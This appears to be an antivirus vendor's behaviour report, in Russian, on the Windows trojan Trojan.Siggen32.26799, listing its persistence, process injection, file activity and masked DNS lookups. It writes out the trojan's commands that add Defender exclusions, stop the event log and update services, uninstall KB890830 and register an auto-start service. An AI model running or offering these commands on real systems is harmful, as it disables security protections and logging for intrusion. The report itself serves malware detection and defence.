Trojan.Siggen32.26799

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\H7KTWLNH] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\H7KTWLNH] 'ImagePath' = '%ALLUSERSPROFILE%\o063hn4jiuky\m35sflaly26t.exe'

Создает следующие сервисы

'H7KTWLNH' %ALLUSERSPROFILE%\o063hn4jiuky\m35sflaly26t.exe

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует:

Журнал событий Windows (Windows Event Logging)

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Внедряет код в

следующие системные процессы:

<SYSTEM32>\conhost.exe
<SYSTEM32>\dwm.exe

Изменения в файловой системе

Создает следующие файлы

%ALLUSERSPROFILE%\o063hn4jiuky\m35sflaly26t.exe
%WINDIR%\temp\__psscriptpolicytest_0bwjoas2.w3m.ps1
%WINDIR%\temp\__psscriptpolicytest_pukmgtow.3cl.psm1
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-26-657.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-26-888.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-26-973.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-127.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-158.dump
%WINDIR%\temp\__psscriptpolicytest_5istg1bu.xnh.ps1
%WINDIR%\temp\__psscriptpolicytest_bckgt1pc.0sl.psm1
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-305.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-328.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-390.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-475.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-575.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-645.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-742.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-773.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-794.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-815.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-844.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-867.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-27-888.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-28-231.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-28-278.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-28-316.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-28-347.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-28-378.dump
%WINDIR%\temp\content\1292-3828-powershell.exe-20-54-28-416.dump
<SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
%WINDIR%\temp\ngimkpstvzcn.sys

Удаляет файлы, которые сам же создал

%WINDIR%\temp\__psscriptpolicytest_0bwjoas2.w3m.ps1
%WINDIR%\temp\__psscriptpolicytest_pukmgtow.3cl.psm1
%WINDIR%\temp\__psscriptpolicytest_5istg1bu.xnh.ps1
%WINDIR%\temp\__psscriptpolicytest_bckgt1pc.0sl.psm1

Сетевая активность

UDP

DNS ASK pa###bin.com
DNS ASK po##.#ashvault.pro

Другое

Создает и запускает на исполнение

'%ALLUSERSPROFILE%\o063hn4jiuky\m35sflaly26t.exe'

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
'<SYSTEM32>\sc.exe' stop UsoSvc
'<SYSTEM32>\sc.exe' stop WaaSMedicSvc
'<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\sc.exe' stop bits
'<SYSTEM32>\sc.exe' stop dosvc
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
'<SYSTEM32>\sc.exe' delete "H7KTWLNH"
'<SYSTEM32>\sc.exe' create "H7KTWLNH" binpath= "%ALLUSERSPROFILE%\o063hn4jiuky\m35sflaly26t.exe" start= "auto"
'<SYSTEM32>\sc.exe' stop eventlog
'<SYSTEM32>\sc.exe' start "H7KTWLNH"
'<SYSTEM32>\dwm.exe' (со скрытым окном)